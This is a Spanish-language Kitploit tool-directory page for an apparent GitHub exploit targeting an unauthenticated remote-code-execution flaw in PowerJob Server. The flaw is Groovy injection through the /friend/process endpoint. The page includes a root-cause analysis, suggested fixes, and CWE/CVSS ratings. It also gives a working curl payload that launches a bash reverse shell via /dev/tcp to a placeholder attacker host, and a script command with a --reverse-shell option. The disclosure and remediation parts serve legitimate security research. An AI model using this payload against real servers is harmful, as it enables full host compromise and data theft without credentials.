Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/unpredictable21/cve-2026-75429_powerjob_friend_process_rce
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónTroyano de Acceso Remoto
GitHubunpredictable21/cve-2026-75429_powerjob_friend_process_rce

CVE-2026-75429_PowerJob_friend_process_RCE

Exploit de ejecución remota de código no autenticado para PowerJob Server mediante inyección de Groovy en el endpoint /friend/process, que permite la ejecución arbitraria de comandos y shells inversas.

Ver Repositorio
hace 25 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Ejecución Remota de Código en PowerJob Server mediante /friend/process sin autenticación (Inyección Groovy)

1. Resumen

El PowerJob Server (framework distribuido de planificación de trabajos / computación) expone el endpoint /friend/process en su puerto HTTP 10010 de la capa de transporte Worker↔Server sin autenticación alguna. El endpoint refleja un método público arbitrario de un Spring Bean arbitrario; un atacante que invoque GroovyEvaluator.evaluate puede ejecutar expresiones Groovy arbitrarias, logrando ejecución remota de código sin autenticación. El docker-compose predeterminado publica este puerto en 0.0.0.0, por lo que un servidor puede verse completamente comprometido sin credenciales.

2. Producto Afectado

  • Producto: PowerJob (framework distribuido de planificación de trabajos / computación)
  • Versiones afectadas: 5.1.2 (el diseño de la capa de transporte se ha heredado de versiones anteriores; las versiones antiguas están igualmente afectadas — reportar 4.x–5.1.2)
  • Repositorio fuente: https://github.com/PowerJob/PowerJob
  • Despliegue predeterminado: docker-compose.yml:29-33,47-48 publica 10010 (transporte HTTP), 10086 (AKKA), 10077 (MU) en el host 0.0.0.0

3. Ubicación de la Vulnerabilidad

ElementoValor
Endpoint desencadenantePOST http://<servidor>:10010/friend/process
RegistroFriendActor.java @Actor(path = "friend") + @Handler(path = "process") (registrado para los tres protocolos: HTTP/MU/AKKA)
Ejecución reflectivaRemoteRequestProcessor.processRemoteRequest()
Sumidero peligrosoGroovyEvaluator.evaluate() → ScriptEngine.eval()
Autenticación ausenteHttpVertxCSInitializer (HTTP) / MuServerHandler (MU) registran rutas sin ninguna comprobación de token/firma

Archivos fuente clave (relativos a la raíz del repositorio):

  • powerjob-remote/powerjob-remote-impl-http/src/main/java/tech/powerjob/remote/http/HttpVertxCSInitializer.java (registra las rutas del puerto 10010, sin autenticación)
  • powerjob-server/powerjob-server-remote/src/main/java/tech/powerjob/server/remote/server/FriendActor.java:40-53
  • powerjob-server/powerjob-server-remote/src/main/java/tech/powerjob/server/remote/server/redirector/RemoteRequestProcessor.java:17-37
  • powerjob-server/powerjob-server-core/src/main/java/tech/powerjob/server/core/evaluator/GroovyEvaluator.java:17-28

4. Causa Raíz

  1. Autenticación cero en la capa de transporte: PowerJob trata los protocolos de comunicación entre Worker y Server (HTTP/AKKA/MU) como una zona de "confianza interna". Cualquier host que pueda alcanzar los puertos 10010/10086/10077 se trata como un nodo legítimo; no hay handshake ni firma.
  2. Reflexión arbitraria de Beans: RemoteRequestProcessor.processRemoteRequest confía plenamente en los campos className, methodName, parameterTypes y args del cuerpo de la solicitud — utiliza Class.forName + SpringUtils.getBean para obtener cualquier Spring Bean y luego invoca cualquiera de sus métodos públicos mediante Spring ReflectionUtils.
  3. Método peligroso alcanzable: GroovyEvaluator es un bean @Component cuyo evaluate(String, Object) llama al motor de scripts Groovy (ScriptEngineManager) para eval() directamente la expresión del atacante.

La combinación de los tres equivale a ejecución remota de código sin autenticación.

5. Escenario de Ataque (precondición: solo accesibilidad de red al puerto 10010)

  1. El atacante envía un HTTP POST al puerto 10010 del servidor PowerJob (no se requiere Cookie/Token).
  2. El cuerpo de la solicitud es un JSON RemoteProcessReq que apunta a GroovyEvaluator.evaluate con una expresión Groovy arbitraria (p. ej., 'id'.execute().text).
  3. El servidor invoca reflexivamente el método; el motor Groovy evalúa la expresión.
  4. El resultado de la ejecución del comando se devuelve al atacante en AskResponse.data (JSON en base64).
  5. El atacante también puede usar Groovy para escribir archivos arbitrarios, lanzar una reverse shell o exfiltrar datos.

6. Reproducción (verificada)

Entorno: JDK 17, powerjob-server-starter-5.1.2.jar compilado desde el código fuente (perfil daily), servidor escuchando en 192.168.49.128:10010. Re-verificado en JDK 21 (el payload en formato shell siguiente funciona en ambos; ver la nota sobre File.write más abajo).

root@kitploit:~
curl -s http://192.168.49.128:10010/friend/process -H 'Content-Type: application/json' -d '{
  "className": "tech.powerjob.server.core.evaluator.GroovyEvaluator",
  "methodName": "evaluate",
  "parameterTypes": ["java.lang.String","java.lang.Object"],
  "args": ["['/bin/sh','-c','bash -i >& /dev/tcp/reverseip/reverseport 0>&1 &'].execute().text", null]
}'

Respuesta real: {"success":true,"data":"InJldmVyc2Utc2hlbGwtbGF1bmNoZWQi"}. Decodificando en base64 el campo data se obtiene la salida del comando ejecutado en la JVM del servidor:

image

Alternativamente, puede reproducirlo usando el script:

python3 powerjob_friend_process_rce.py 192.168.49.128:10010 --reverse-shell 192.168.3.17:7878

7. Observado vs Esperado

  • Observado: una solicitud HTTP sin autenticación provoca que el servidor ejecute comandos arbitrarios.
  • Esperado: /friend/process forma parte de la comunicación interna Server↔Worker; debería rechazar solicitudes sin autenticación, o el método no debería ser invocable remotamente en absoluto.

8. Impacto

  • Confidencialidad: Alto — lectura de archivos/memoria/credenciales arbitrarios en el servidor.
  • Integridad: Alto — escritura arbitraria de archivos, manipulación de configuración y trabajos.
  • Disponibilidad: Alto — puede terminar procesos/servicios.
  • Límite del impacto: proceso del servidor → host (con los privilegios del usuario del servicio); en un despliegue predeterminado, el atacante puede pivotar lateralmente hacia la red interna del host.

9. Corrección Sugerida

  1. Añadir autenticación mutua Server/Worker (token/firma) a la capa de transporte y validar el origen; no exponer 10010/10086/10077 a internet público.
  2. Cambiar RemoteRequestProcessor a una lista blanca: restringir className/methodName a handlers seguros definidos por el framework y prohibir la invocación reflectiva de beans arbitrarios.
  3. Eliminar o restringir estrictamente la accesibilidad remota de GroovyEvaluator (si debe permanecer, añadir autenticación y un sandbox).
  4. Deshabilitar /friend/process (S4S_HANDLER_PROCESS) por defecto o restringirlo solo a fuentes internas.

10. CWE

  • Principal: CWE-94 (Control Inadecuado de la Generación de Código — inyección Groovy)
  • Secundaria: CWE-470 (Uso de Entrada Controlada Externamente para Seleccionar Clases o Código — reflexión arbitraria de Beans), CWE-306 (Autenticación Ausente para Función Crítica)

11. CVSS

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 Crítico

12. Entorno

  • SO: Ubuntu 22.04 / Linux 6.8
  • JDK: 17.0.19 (reproducción original); re-verificado en OpenJDK 21.0.11
  • Compilación: Maven 3.6.3, mvn -B -DskipTests -pl powerjob-server/powerjob-server-starter -am package
  • Base de datos: MariaDB 10.6 (no requerida — /friend/process es desencadenable sin base de datos)
  • Ejecución: java -Xmx512m -jar powerjob-server-starter-5.1.2.jar --spring.profiles.active=daily ...
Descargar herramienta